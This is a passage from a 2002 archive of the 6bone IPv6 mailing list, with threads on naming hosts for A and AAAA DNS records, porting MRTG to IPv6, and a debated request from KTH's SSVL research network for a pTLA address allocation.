That is true, but it may have it's drawbacks.  Often, still, IPv6 
connectivity is worse than with IPv4.  People who are dual-stack will use 
IPv6 when trying to reach 'nanguo'.  It may be more unoptimal yet.

For conservative IPv6 adoption, I recommend the former (at least first).  
For more radical IPv6 adoption, and for non-production services, the 
latter is usually more suitable.

YMMV.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Apr 19 07:53:00 2002
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Reply-To: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>, "Dave Wilson" <dave.wilson@heanet.ie>
References: <5331.1019217877@itojun.org>
Subject: Re: MRTG of IPv6 version
Date: Fri, 19 Apr 2002 16:51:54 +0200
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Hi all,

I'm working in the EU IST project Euro6IX (www.Euro6IX.org), and we had very concrete plans to migrate several utilities, and this
includes MRTG, and keep this one open source in the project repository.

I can't give you more specific details about this one, as I think is expected for 2nd half of this year, but not concrete, and I
believe we depend on the MIBs, as clarified by Itojun.

By the way, we will be happy to heard about any other tools and monitoring/measurement/management tools that all of you are
interested in get ported, we will try our best !

In fact another one that we are considering seriously is Webalizer.

Regards,
Jordi

----- Original Message -----
From: <itojun@iijlab.net>
To: "Dave Wilson" <dave.wilson@heanet.ie>
Cc: <6bone@ISI.EDU>
Sent: Friday, April 19, 2002 2:04 PM
Subject: Re: MRTG of IPv6 version


>
> >>     I have heard that there is MRTG of IPv6 version. Does anybody know
> >> where to get the software? Or, it is just a rumor!
> >If I try to feed MRTG (on BSD) a name that only has a AAAA record, I get
> >an error from SNMP_util.pm (cannot resolve "hostname" to IP address) -
> >so I guess an upgrade to this module is a prerequisite. Does anyone know
> >if the relevant perl modules are being upgraded?
>
> "MRTG for IPv6" can mean two things:
> - querying IPv6 related MIBs (over IPv4), or
> - querying MIBs over IPv6 transport (for any kind of MIBs).
> you are apparently talking about the latter.  many of other
> postings are talking about the former.
>
> for the former, the current MRTG works just fine - you just need to
> specify correct MIBs.
> for the latter, I guess SNMP_util.pm is not ready for IPv6.  you would
> need to use net-snmp 5.0 (now in beta track).
>
> as others have mentioned, MRTG is a very generic tool - if you invoke
> apps that generate one-liner result MRTG will graph it.  so you can
> combine other tools to get around problems.
>
> itojun
>
>



***********************************************************
Madrid 2002 Global IPv6 Summit
See all the documents on line at:
www.ipv6-es.com



From 6bone-owner  Fri Apr 19 08:02:47 2002
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Subject: RE: A DNS question re 6to6/IPv6 host IN A records. 
Date: Fri, 19 Apr 2002 17:02:34 +0200
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itojun@iijlab.net wrote:

> >In the forward/reverse zones on a 6to4 setup, should I have
> >nanguo          IN A                203.1.96.5
> >nanguo-v6      IN AAAA         2002:cb01:6005:2::1
> >or
> >nanguo          IN A                203.1.96.5
> >nanguo          IN AAAA         2002:cb01:6005:2::1
> >When referring to the particular host ?
> >Either works - but which is ... errr... correct?
> 
> 	i recommend the latter, definitely.  with the latter 
> you will be able o transition to IPv6 much smoother.

Definitely the latter one even with reverses.
I do usually add something like:

purgatory	A 195.64.92.136
purgatory	AAAA 3ffe:8114:2000:240:290:27ff:fe24:c19f
purgatory.ipv4	A 195.64.92.136
purgatory.ipv6	AAAA 3ffe:8114:2000:240:290:27ff:fe24:c19f

Reason: some programs can't be told to only use IPv6 or only IPv4
(usually -6 or -4 option).
This way one can 'force' it to use either transport.
I do usually leave out the ipv4 though as I don't use that much any more
anyways ;)

Greets,
 Jeroen


From 6bone-owner  Fri Apr 19 09:38:01 2002
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Date: Fri, 19 Apr 2002 09:36:59 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request SSVL - review closes 3 May 2002 
Cc: Bjorn Pehrson <bjorn@it.kth.se>
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6bone Folk,

SSVL has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 3 May 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?SSVL>

<http://www-v6.ssvl.kth.se>


Thanks,

Bob
===
>Date: Fri, 19 Apr 2002 14:51:28 +0200
>From: Bjorn Pehrson <bjorn@it.kth.se>
>User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.3) 
>Gecko/20010801
>To: Bob Fink <fink@es.net>
>CC: "Americo F. Muchanga" <americo@it.kth.se>,
>         Fredrik Lilieblad
>         <fli@it.kth.se>,
>         Jonas Willén <jwi@it.kth.se>,
>         Martin
>         Hedenfalk <mhe@home.se>
>Subject: pTLA application
>
>Bob,
>Enclosed, please find an application for a 6Bone pTLA allocation from SSVL.
>
>Sincerely
>
>Björn Pehrson
>SSVL admin-c
>(bp2-6bone)
>----------------------------
> > The following rules apply to qualify for a 6Bone pTLA allocation. It
> > should be recognized that holders of 6Bone pTLA allocations are
> > expected to provide production quality backbone network services for
> > the 6Bone.
> > 1. The pTLA Applicant must have a minimum of three (3) months
> > qualifying experience as a 6Bone end-site or pNLA transit. During
> > the entire qualifying period the Applicant must be operationally
> > providing the following:
> >
> > a. Fully maintained, up to date, 6Bone Registry entries for their
> > ipv6-site inet6num, mntner, and person objects, including each
> > tunnel that the Applicant has.
>
>Our ipv6 site SSVL (AS8973) is registered with RIPE and the 6bone registry 
>since 1999-06-05. We are currently connected to the following pTLAs
>- SICS (peering via BGP4+)
>- FreeNet (static route)
>When upgraded to pTLA, we will continue peering with these pTLAs and add a 
>few more, including Sunet, the Swedish academic netwok provider.
>
> > b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > between the Applicant's boundary router and the appropriate
> > connection point into the 6Bone. This router must be IPv6
> > pingable. This criteria is judged by members of the 6Bone
> > Operations Group at the time of the Applicant's pTLA request.
>
>Our BGP4+ is stable running on our Cisco 7513 router at
>kth-gateway-loopback0.ssvl.kth.se 3ffe:200:15:6::1
>
> > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> > entries for the Applicant's router(s) and at least one host
> > system.
>
>We have AAAA and ipv6.int for all our ipv6 hosts and networks at 
>ns.ssvl.kth.se. Another host is the webserver www-v6.ssvl.kth.se
>
> >d. A fully maintained, and reliable, IPv6-accessible system
> >providing, at a mimimum, one or more web pages, describing the
> >Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>www-v6.ssvl.kth.se  3ffe:200:15:5::1
>
> >2. The pTLA Applicant MUST have the ability and intent to provide
> >"production-quality" 6Bone backbone service. Applicants must
> >provide a statement and information in support of this claim.
>
>Statement: We hereby claim that we have the ability and intent to
>provide production quality 6Bone backbone service.
>
> >This MUST include the following:
> >
> >a. A support staff of two persons minimum, three preferable, with
> >person attributes registered for each in the ipv6-site object
> >for the pTLA applicant.
>
>The following persons are listed under MNT-SSVL
>- Fredrik Lilieblad <fli@it.kth.se>
>- Björn Pehrson <bjorn@it.kth.se>
>- Jonas Willén <jwi@it.kth.se>
>
> >b. A common mailbox for support contact purposes that all
> >support staff have acess to, pointed to with a notify
> >attribute in the ipv6-site object for the pTLA Applicant.
>
>The mailinglist noc@ssvl.kth.se includes
>- Fredrik Lilieblad <fli@it.kth.se>
>- Björn Pehrson <bjorn@it.kth.se>
>- Jonas Willén <jwi@it.kth.se>
>
> >3. The pTLA Applicant MUST have a potential "user community" that
> >would be served by its becoming a pTLA, e.g., the Applicant is a
> >major provider of Internet service in a region, country, or focus
> >of interest. Applicant must provide a statement and information in
> >support this claim.
>
>KTH is a leading academic research organization in the Internetworking 
>area conducting long term research on the next generation networks. Our 
>current research program includes the next generation network topology and 
>scalability, interdomain issues, support for mobility, multicast and
>QoS, security, privacy, etc. The SSVL group provides regional, national 
>and global testbeds for experimental research also for other 
>organizations. We also provide an operator-neutral access network in the
>Greater Stockholm area.
>
>Our current user community (pingable now)includes
>- The IT-University, Stockholm, 3ffe:200:15:44::1, native link, routing 
>via rip
>- Stanford University, ssvl.stanford.edu 3ffe:200:15:802:240:5ff:fea2:242b 
>native link, routing via rip
>- stockholmopen.net 3ffe:200:15:3:a00:02ff:fe9c:62b3, native link, routing 
>via rip
>
>Users being connected
>- University Eduardo Mondlane, Maputo, dzowo.uem.mz, 
>(3ffe:200:15:60::1)tunnel and static route
>- Tallin Technical University (), native link, routing via rip
>- imit.kth.se (), native link
>- kistaip.net (), native link
>- networks connected to the Solix IXP (www.sol-ix.com) that request 
>transit to the 6Bone backbone for R&D purposes.
>- scint.org ()
>- lanman2002.org
>- lanman2002.net
>
> >4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >operational rules and policies as they exist at time of its
> >application, and agree to abide by future 6Bone backbone
> >operational rules and policies as they evolve by consensus of the
> >6Bone backbone and user community.
>
>We commit to abide by the 6Bone operational rules and policies, current
>and future.
>
> > When an Applicant seeks to receive a pTLA allocation, it will apply
> > to the 6Bone Operations Group (see section 8 below) by providing to
> > the Group information in support of its claims that it meets the
> > criteria above.
>
>We commit to provide the necessary information requested by the 6Bone
>Operations Group.
>
> > 8. 6Bone Operations Group
> >
> > The 6Bone Operations Group is the group in charge of monitoring and
> > policing adherence to the current rules. Membership in the 6Bone
> > Operations Group is mandatory for, and restricted to, sites connected
> > to the 6Bone.
> >
> > The 6Bone Operations Group is currently defined by those members of
> > the existing 6Bone mailing list who represent sites participating in
> > the 6Bone. Therefore it is incumbent on relevant site contacts to
> > join the 6Bone mailing list. Instructions on how to join the list
> > are maintained on the 6Bone web site at < http://www.6bone.net>.
>
>All three persons mentioned above are memmbers of the list 6bone@isi.edu
>and are prepared to join additional lists if required to fulfill this
>commitment
>
>Sincerely
>
>Bjorn Pehrson
>SSVL admin-c



From 6bone-owner  Fri Apr 19 09:53:51 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Pekka Savola'" <pekkas@netcore.fi>, <itojun@iijlab.net>
Cc: "'Robert'" <robert@chalmers.com.au>, "'6bone'" <6bone@ISI.EDU>,
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Subject: RE: A DNS question re 6to6/IPv6 host IN A records. 
Date: Fri, 19 Apr 2002 18:53:43 +0200
Organization: Unfix
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Pekka Savola wrote:

> On Fri, 19 Apr 2002 itojun@iijlab.net wrote:
> > >In the forward/reverse zones on a 6to4 setup, should I have
> > >nanguo          IN A                203.1.96.5
> > >nanguo-v6      IN AAAA         2002:cb01:6005:2::1
> > >or
> > >nanguo          IN A                203.1.96.5
> > >nanguo          IN AAAA         2002:cb01:6005:2::1
> > >When referring to the particular host ?
> > >Either works - but which is ... errr... correct?
> > 
> > 	i recommend the latter, definitely.  with the latter 
> you will be able
> > 	to transition to IPv6 much smoother.
> 
> That is true, but it may have it's drawbacks.  Often, still, IPv6 
> connectivity is worse than with IPv4.  People who are 
> dual-stack will use IPv6 when trying to reach 'nanguo'.  It may be
more unoptimal yet.
Sorry to say it but I really think it's a load of B.S.... in my opinion
anyways.
Most hosts I 'use' most of they day and that are IPv6 connected are as
close as when I would use IPv4.
I use IPv6 transparently fortunatly so I usually don't even notice the
difference between IPv6 and IPv4.

Remote hosts (non-european :) though are flaky sometimes. Certainly this
would improve very much
when all those tunnels crossing multiple AS's dissappear, it will take
some time but it will come one day ;)
Ofcourse I am fortunatly on the cool side of the pond and we do actually
get native uplinks here.
Even though my first hop isn't ready yet, it's only 1 hop, 20ms in IPv4
and 20ms in IPv6.

KAME is about 300ms 'away' from Holland most of the times in both IPv4
and IPv6, so I wonder why IPv6 has 'drawbacks' over IPv4.

> For conservative IPv6 adoption, I recommend the former (at least
first).
> For more radical IPv6 adoption, and for non-production services, the 
> latter is usually more suitable.
The second is certainly production capable. Why should it be
"non-production" anyways.
Okay 6bone isn't 'production quality' maybe as it's ofcourse testing
grounds, but IPv6 is.

PS: Check http://isoc.nl/activ/2002-Masterclass-IETF-IPv6.htm for a
great presentation given by Steve Deering in Amsterdam yesterday at the
WTCW (AMS-IX grounds).
Slide 50 shows a pragmatic projection of IPv6 deployment with the US
tagging behind Asia for about 2.5 years and 1.5 years behind Europe!
I sure hope that changes quite soon over there.

Greets,
 Jeroen


From 6bone-owner  Fri Apr 19 12:05:11 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <ipv6@ipng.nl>, "'6bone'" <6bone@ISI.EDU>
Subject: IPv6 Address Oracle & 
Date: Fri, 19 Apr 2002 21:04:54 +0200
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Boo,

Unfortunatly the NLA/SLA stuff is almost out of the ballpark again
otherwise the following URL would have made a nice 'learner':
http://steinbeck.ucs.indiana.edu:47401/oracle.html?v6=3ffe:8114:2000:240
:290:27ff:fe24:c19f

And for the folks that missed out on the ISOC Masterclass presented
perfectly by Steve Deering yesterday, check the powerpoint sheets at:
http://isoc.nl/activ/2002-Masterclass-IETF-IPv6.htm

IMHO it's a good roundup of most IPv6 work, where we are and where we
will be going to as well as a nice introduction to people starting out.

Greets,
 Jeroen


From 6bone-owner  Fri Apr 19 19:15:51 2002
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Subject: Re: IPv6 Address Oracle & 
From: itojun@iijlab.net
Date: Sat, 20 Apr 2002 11:15:53 +0900
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>And for the folks that missed out on the ISOC Masterclass presented
>perfectly by Steve Deering yesterday, check the powerpoint sheets at:
>http://isoc.nl/activ/2002-Masterclass-IETF-IPv6.htm

	are there an html + png (or gif or whatever), or pdf version of the
	slides?  i don't have any powerpoint around here...

itojun

From 6bone-owner  Fri Apr 19 20:10:11 2002
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From: Antonio Querubin <tony@lava.net>
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cc: Jeroen Massar <jeroen@unfix.org>, <ipv6@ipng.nl>,
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Subject: Re: IPv6 Address Oracle & 
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On Sat, 20 Apr 2002 itojun@iijlab.net wrote:

> 	are there an html + png (or gif or whatever), or pdf version of the
> 	slides?  i don't have any powerpoint around here...

StarOffice will open the PPT file.


From 6bone-owner  Sat Apr 20 05:27:15 2002
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Date: Sat, 20 Apr 2002 15:26:49 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>, Bjorn Pehrson <bjorn@it.kth.se>
Subject: Re: pTLA request SSVL - review closes 3 May 2002 
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Hello!

Absolute no!  There are two no's here:

1) SUNET already has a block, and it should assign a part to KTH
  ==> KTH applying for s/pTLA would be wrong

2) KTH should get a block and it should assign a part to SSVL.
  ==> SSVL applying for s/pTLA would be *double* wrong.

We do *not* want to get down the road where facilities of universities 
apply for s/pTLA's.

Based on current knowledge, this pTLA request MUST BE rejected or else 
RFC2772 will need SERIOUS rewording.

On Fri, 19 Apr 2002, Bob Fink wrote:
> 6bone Folk,
> 
> SSVL has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this will close 3 May 
> 2002. Please send your comments to me or the list.
> 
> <http://whois.6bone.net/cgi-bin/whois?SSVL>
> 
> <http://www-v6.ssvl.kth.se>
> 
> 
> Thanks,
> 
> Bob
> ===
> >Date: Fri, 19 Apr 2002 14:51:28 +0200
> >From: Bjorn Pehrson <bjorn@it.kth.se>
> >User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.3) 
> >Gecko/20010801
> >To: Bob Fink <fink@es.net>
> >CC: "Americo F. Muchanga" <americo@it.kth.se>,
> >         Fredrik Lilieblad
> >         <fli@it.kth.se>,
> >         Jonas Willén <jwi@it.kth.se>,
> >         Martin
> >         Hedenfalk <mhe@home.se>
> >Subject: pTLA application
> >
> >Bob,
> >Enclosed, please find an application for a 6Bone pTLA allocation from SSVL.
> >
> >Sincerely
> >
> >Björn Pehrson
> >SSVL admin-c
> >(bp2-6bone)
> >----------------------------
> > > The following rules apply to qualify for a 6Bone pTLA allocation. It
> > > should be recognized that holders of 6Bone pTLA allocations are
> > > expected to provide production quality backbone network services for
> > > the 6Bone.
> > > 1. The pTLA Applicant must have a minimum of three (3) months
> > > qualifying experience as a 6Bone end-site or pNLA transit. During
> > > the entire qualifying period the Applicant must be operationally
> > > providing the following:
> > >
> > > a. Fully maintained, up to date, 6Bone Registry entries for their
> > > ipv6-site inet6num, mntner, and person objects, including each
> > > tunnel that the Applicant has.
> >
> >Our ipv6 site SSVL (AS8973) is registered with RIPE and the 6bone registry 
> >since 1999-06-05. We are currently connected to the following pTLAs
> >- SICS (peering via BGP4+)
> >- FreeNet (static route)
> >When upgraded to pTLA, we will continue peering with these pTLAs and add a 
> >few more, including Sunet, the Swedish academic netwok provider.
> >
> > > b. Fully maintained, and reliable, BGP4+ peering and connectivity
> > > between the Applicant's boundary router and the appropriate
> > > connection point into the 6Bone. This router must be IPv6
> > > pingable. This criteria is judged by members of the 6Bone
> > > Operations Group at the time of the Applicant's pTLA request.
> >
> >Our BGP4+ is stable running on our Cisco 7513 router at
> >kth-gateway-loopback0.ssvl.kth.se 3ffe:200:15:6::1
> >
> > > c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> > > entries for the Applicant's router(s) and at least one host
> > > system.
> >
> >We have AAAA and ipv6.int for all our ipv6 hosts and networks at 
> >ns.ssvl.kth.se. Another host is the webserver www-v6.ssvl.kth.se
> >
> > >d. A fully maintained, and reliable, IPv6-accessible system
> > >providing, at a mimimum, one or more web pages, describing the
> > >Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >www-v6.ssvl.kth.se  3ffe:200:15:5::1
> >
> > >2. The pTLA Applicant MUST have the ability and intent to provide
> > >"production-quality" 6Bone backbone service. Applicants must
> > >provide a statement and information in support of this claim.
> >
> >Statement: We hereby claim that we have the ability and intent to
> >provide production quality 6Bone backbone service.
> >
> > >This MUST include the following:
> > >
> > >a. A support staff of two persons minimum, three preferable, with
> > >person attributes registered for each in the ipv6-site object
> > >for the pTLA applicant.
> >
> >The following persons are listed under MNT-SSVL
> >- Fredrik Lilieblad <fli@it.kth.se>
> >- Björn Pehrson <bjorn@it.kth.se>
> >- Jonas Willén <jwi@it.kth.se>
> >
> > >b. A common mailbox for support contact purposes that all
> > >support staff have acess to, pointed to with a notify
> > >attribute in the ipv6-site object for the pTLA Applicant.
> >
> >The mailinglist noc@ssvl.kth.se includes
> >- Fredrik Lilieblad <fli@it.kth.se>
> >- Björn Pehrson <bjorn@it.kth.se>
> >- Jonas Willén <jwi@it.kth.se>
> >
> > >3. The pTLA Applicant MUST have a potential "user community" that
> > >would be served by its becoming a pTLA, e.g., the Applicant is a
> > >major provider of Internet service in a region, country, or focus
> > >of interest. Applicant must provide a statement and information in
> > >support this claim.
> >
> >KTH is a leading academic research organization in the Internetworking 
> >area conducting long term research on the next generation networks. Our 
> >current research program includes the next generation network topology and 
> >scalability, interdomain issues, support for mobility, multicast and
> >QoS, security, privacy, etc. The SSVL group provides regional, national 
> >and global testbeds for experimental research also for other 
> >organizations. We also provide an operator-neutral access network in the
> >Greater Stockholm area.
> >
> >Our current user community (pingable now)includes
> >- The IT-University, Stockholm, 3ffe:200:15:44::1, native link, routing 
> >via rip
> >- Stanford University, ssvl.stanford.edu 3ffe:200:15:802:240:5ff:fea2:242b 
> >native link, routing via rip
> >- stockholmopen.net 3ffe:200:15:3:a00:02ff:fe9c:62b3, native link, routing 
> >via rip
> >
> >Users being connected
> >- University Eduardo Mondlane, Maputo, dzowo.uem.mz, 
> >(3ffe:200:15:60::1)tunnel and static route
> >- Tallin Technical University (), native link, routing via rip
> >- imit.kth.se (), native link
> >- kistaip.net (), native link
> >- networks connected to the Solix IXP (www.sol-ix.com) that request 
> >transit to the 6Bone backbone for R&D purposes.
> >- scint.org ()
> >- lanman2002.org
> >- lanman2002.net
> >
> > >4. The pTLA Applicant MUST commit to abide by the current 6Bone
> > >operational rules and policies as they exist at time of its
> > >application, and agree to abide by future 6Bone backbone
> > >operational rules and policies as they evolve by consensus of the
> > >6Bone backbone and user community.
> >
> >We commit to abide by the 6Bone operational rules and policies, current
> >and future.
> >
> > > When an Applicant seeks to receive a pTLA allocation, it will apply
> > > to the 6Bone Operations Group (see section 8 below) by providing to
> > > the Group information in support of its claims that it meets the
> > > criteria above.
> >
> >We commit to provide the necessary information requested by the 6Bone
> >Operations Group.
> >
> > > 8. 6Bone Operations Group
> > >
> > > The 6Bone Operations Group is the group in charge of monitoring and
> > > policing adherence to the current rules. Membership in the 6Bone
> > > Operations Group is mandatory for, and restricted to, sites connected
> > > to the 6Bone.
> > >
> > > The 6Bone Operations Group is currently defined by those members of
> > > the existing 6Bone mailing list who represent sites participating in
> > > the 6Bone. Therefore it is incumbent on relevant site contacts to
> > > join the 6Bone mailing list. Instructions on how to join the list
> > > are maintained on the 6Bone web site at < http://www.6bone.net>.
> >
> >All three persons mentioned above are memmbers of the list 6bone@isi.edu
> >and are prepared to join additional lists if required to fulfill this
> >commitment
> >
> >Sincerely
> >
> >Bjorn Pehrson
> >SSVL admin-c
> 
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat Apr 20 05:42:57 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Jeroen Massar <jeroen@unfix.org>
cc: itojun@iijlab.net, "'Robert'" <robert@chalmers.com.au>,
        "'6bone'" <6bone@ISI.EDU>, "'ipv6users'" <users@ipv6.org>,
        "'freebsd-stable'" <freebsd-stable@freebsd.org>
Subject: RE: A DNS question re 6to6/IPv6 host IN A records. 
In-Reply-To: <001101c1e7c2$c46416d0$420d640a@unfix.org>
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btw, I suggest you add an emptyy line between paragraphs, it makes reading 
easier.

On Fri, 19 Apr 2002, Jeroen Massar wrote:
> Pekka Savola wrote:
> 
> > On Fri, 19 Apr 2002 itojun@iijlab.net wrote:
> > > >In the forward/reverse zones on a 6to4 setup, should I have
> > > >nanguo          IN A                203.1.96.5
> > > >nanguo-v6      IN AAAA         2002:cb01:6005:2::1
> > > >or
> > > >nanguo          IN A                203.1.96.5
> > > >nanguo          IN AAAA         2002:cb01:6005:2::1
> > > >When referring to the particular host ?
> > > >Either works - but which is ... errr... correct?
> > > 
> > > 	i recommend the latter, definitely.  with the latter 
> > you will be able
> > > 	to transition to IPv6 much smoother.
> > 
> > That is true, but it may have it's drawbacks.  Often, still, IPv6 
> > connectivity is worse than with IPv4.  People who are 
> > dual-stack will use IPv6 when trying to reach 'nanguo'.  It may be
> > more unoptimal yet.

> Sorry to say it but I really think it's a load of B.S.... in my opinion
> anyways.

You're entitled to be wrong ;-)

> Most hosts I 'use' most of they day and that are IPv6 connected are as
> close as when I would use IPv4.

As do I.

> I use IPv6 transparently fortunatly so I usually don't even notice the
> difference between IPv6 and IPv4.

As do I.

> Remote hosts (non-european :) though are flaky sometimes. Certainly this
> would improve very much
> when all those tunnels crossing multiple AS's dissappear, it will take
> some time but it will come one day ;)

Sure, but we're talking about what makes sense *today*.  Not in 2 years 
:-).

> KAME is about 300ms 'away' from Holland most of the times in both IPv4
> and IPv6, so I wonder why IPv6 has 'drawbacks' over IPv4.

KAME is but one site.  There are others.  Much less technically capable 
too (e.g. ones getting tunnels from topographically far away, making the 
latency worse).

> > For conservative IPv6 adoption, I recommend the former (at least
> first).
> > For more radical IPv6 adoption, and for non-production services, the 
> > latter is usually more suitable.
>
> The second is certainly production capable. 

I don't agree.  There may be differences what one means with 'production' 
though.  Personally, if I had a power to switch on IPv6 on www.google.com 
hosts, I would only do it by adding www.ipv6.google.com: NOT with 
www.google.com.  People who are afraid of degrading service and it costing 
real money are reluctant.

An example of potentially technically capable stuff: IPv6 service of 
playground.sun.com/ipv6/ was down/out-of-sync some time ago.. and that 
isn't even a "production" site.

> Why should it be
> "non-production" anyways.

Any client node implementing IPv6 gets potentially worse service.

> Slide 50 shows a pragmatic projection of IPv6 deployment with the US
> tagging behind Asia for about 2.5 years and 1.5 years behind Europe!
> I sure hope that changes quite soon over there.

Similar slides have been seen before, e.g. at IPv6 deployment conference 
(ask Pim.)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat Apr 20 07:23:28 2002
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Date: Sat, 20 Apr 2002 16:23:18 +0200
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To: Pekka Savola <pekkas@netcore.fi>
CC: Bob Fink <fink@es.net>, 6BONE List <6bone@ISI.EDU>
Subject: Re: pTLA request SSVL - review closes 3 May 2002
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Pekka,

Let me provide some information that may make you reconsider.

SSVL is a research network, separate from the regular KTH network and 
from Sunet.  SSVL is an AS of its own, multi-homed with international,  
and even intercontinental,  peering. We should not be regarded as a 
regular university facility.

The reason why we apply for p/sTLA status is that we are sponsored with  
research grants and a few dedicated physical links to do research on 
issues regarding ipv6 network topology, scalability and interdomain 
issues which cannot be studied experimentally unless you are active on 
the TLA level. We are also conducting specialized education in these 
areas. There is a growing demand for such  research and education and  I 
do not think it would be in the interest of the Internet community to 
restrict the possibility to conduct such activites. SSVL is set up to 
facilitate this.

Neither Sunet nor KTH has a pTLA assignment. Sunet do have an sTLA 
assignment but is not yet operating and has not yet responded to our 
question about when they will start operating.  SICS, who is currently 
our main pTLA contact, is no longer very active in the ipv6 area and we 
are hampered by the difficulty getting the service from them that we 
need. We have offered them to take over these services , and also those 
of their  users that need more prompt responses, but we of course first 
need to get ackredited by the 6Bone operation group.

Best regards

Bjorn Pehrson

Pekka Savola wrote:

>Hello!
>
>Absolute no!  There are two no's here:
>
>1) SUNET already has a block, and it should assign a part to KTH
>  ==> KTH applying for s/pTLA would be wrong
>
>2) KTH should get a block and it should assign a part to SSVL.
>  ==> SSVL applying for s/pTLA would be *double* wrong.
>
>We do *not* want to get down the road where facilities of universities 
>apply for s/pTLA's.
>
>Based on current knowledge, this pTLA request MUST BE rejected or else 
>RFC2772 will need SERIOUS rewording.
>
>On Fri, 19 Apr 2002, Bob Fink wrote:
>
>>6bone Folk,
>>
>>SSVL has requested a pTLA allocation and I find their request fully 
>>compliant with RFC2772. The open review period for this will close 3 May 
>>2002. Please send your comments to me or the list.
>>
>><http://whois.6bone.net/cgi-bin/whois?SSVL>
>>
>><http://www-v6.ssvl.kth.se>
>>
>>
>>Thanks,
>>
>>Bob
>>===
>>
>>>Date: Fri, 19 Apr 2002 14:51:28 +0200
>>>From: Bjorn Pehrson <bjorn@it.kth.se>
>>>User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.3) 
>>>Gecko/20010801
>>>To: Bob Fink <fink@es.net>
>>>CC: "Americo F. Muchanga" <americo@it.kth.se>,
>>>        Fredrik Lilieblad
>>>        <fli@it.kth.se>,
>>>        Jonas Willén <jwi@it.kth.se>,
>>>        Martin
>>>        Hedenfalk <mhe@home.se>
>>>Subject: pTLA application
>>>
>>>Bob,
>>>Enclosed, please find an application for a 6Bone pTLA allocation from SSVL.
>>>
>>>Sincerely
>>>
>>>Björn Pehrson
>>>SSVL admin-c
>>>(bp2-6bone)
>>>----------------------------
>>>
>>>>The following rules apply to qualify for a 6Bone pTLA allocation. It
>>>>should be recognized that holders of 6Bone pTLA allocations are
>>>>expected to provide production quality backbone network services for
>>>>the 6Bone.
>>>>1. The pTLA Applicant must have a minimum of three (3) months
>>>>qualifying experience as a 6Bone end-site or pNLA transit. During
>>>>the entire qualifying period the Applicant must be operationally
>>>>providing the following:
>>>>
>>>>a. Fully maintained, up to date, 6Bone Registry entries for their
>>>>ipv6-site inet6num, mntner, and person objects, including each
>>>>tunnel that the Applicant has.
>>>>
>>>Our ipv6 site SSVL (AS8973) is registered with RIPE and the 6bone registry 
>>>since 1999-06-05. We are currently connected to the following pTLAs
>>>- SICS (peering via BGP4+)
>>>- FreeNet (static route)
>>>When upgraded to pTLA, we will continue peering with these pTLAs and add a 
>>>few more, including Sunet, the Swedish academic netwok provider.
>>>
>>>>b. Fully maintained, and reliable, BGP4+ peering and connectivity
>>>>between the Applicant's boundary router and the appropriate
>>>>connection point into the 6Bone. This router must be IPv6
>>>>pingable. This criteria is judged by members of the 6Bone
>>>>Operations Group at the time of the Applicant's pTLA request.
>>>>
>>>Our BGP4+ is stable running on our Cisco 7513 router at
>>>kth-gateway-loopback0.ssvl.kth.se 3ffe:200:15:6::1
>>>
>>>>c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>>>>entries for the Applicant's router(s) and at least one host
>>>>system.
>>>>
>>>We have AAAA and ipv6.int for all our ipv6 hosts and networks at 
>>>ns.ssvl.kth.se. Another host is the webserver www-v6.ssvl.kth.se
>>>
>>>>d. A fully maintained, and reliable, IPv6-accessible system
>>>>providing, at a mimimum, one or more web pages, describing the
>>>>Applicant's IPv6 services.  This server must be IPv6 pingable.
>>>>
>>>www-v6.ssvl.kth.se  3ffe:200:15:5::1
>>>
>>>>2. The pTLA Applicant MUST have the ability and intent to provide
>>>>"production-quality" 6Bone backbone service. Applicants must
>>>>provide a statement and information in support of this claim.
>>>>
>>>Statement: We hereby claim that we have the ability and intent to
>>>provide production quality 6Bone backbone service.
>>>
>>>>This MUST include the following:
>>>>
>>>>a. A support staff of two persons minimum, three preferable, with
>>>>person attributes registered for each in the ipv6-site object
>>>>for the pTLA applicant.
>>>>
>>>The following persons are listed under MNT-SSVL
>>>- Fredrik Lilieblad <fli@it.kth.se>
>>>- Björn Pehrson <bjorn@it.kth.se>
>>>- Jonas Willén <jwi@it.kth.se>
>>>
>>>>b. A common mailbox for support contact purposes that all
>>>>support staff have acess to, pointed to with a notify
>>>>attribute in the ipv6-site object for the pTLA Applicant.
>>>>
>>>The mailinglist noc@ssvl.kth.se includes
>>>- Fredrik Lilieblad <fli@it.kth.se>
>>>- Björn Pehrson <bjorn@it.kth.se>
>>>- Jonas Willén <jwi@it.kth.se>
>>>
>>>>3. The pTLA Applicant MUST have a potential "user community" that
>>>>would be served by its becoming a pTLA, e.g., the Applicant is a
>>>>major provider of Internet service in a region, country, or focus
>>>>of interest. Applicant must provide a statement and information in
>>>>support this claim.
>>>>
>>>KTH is a leading academic research organization in the Internetworking 
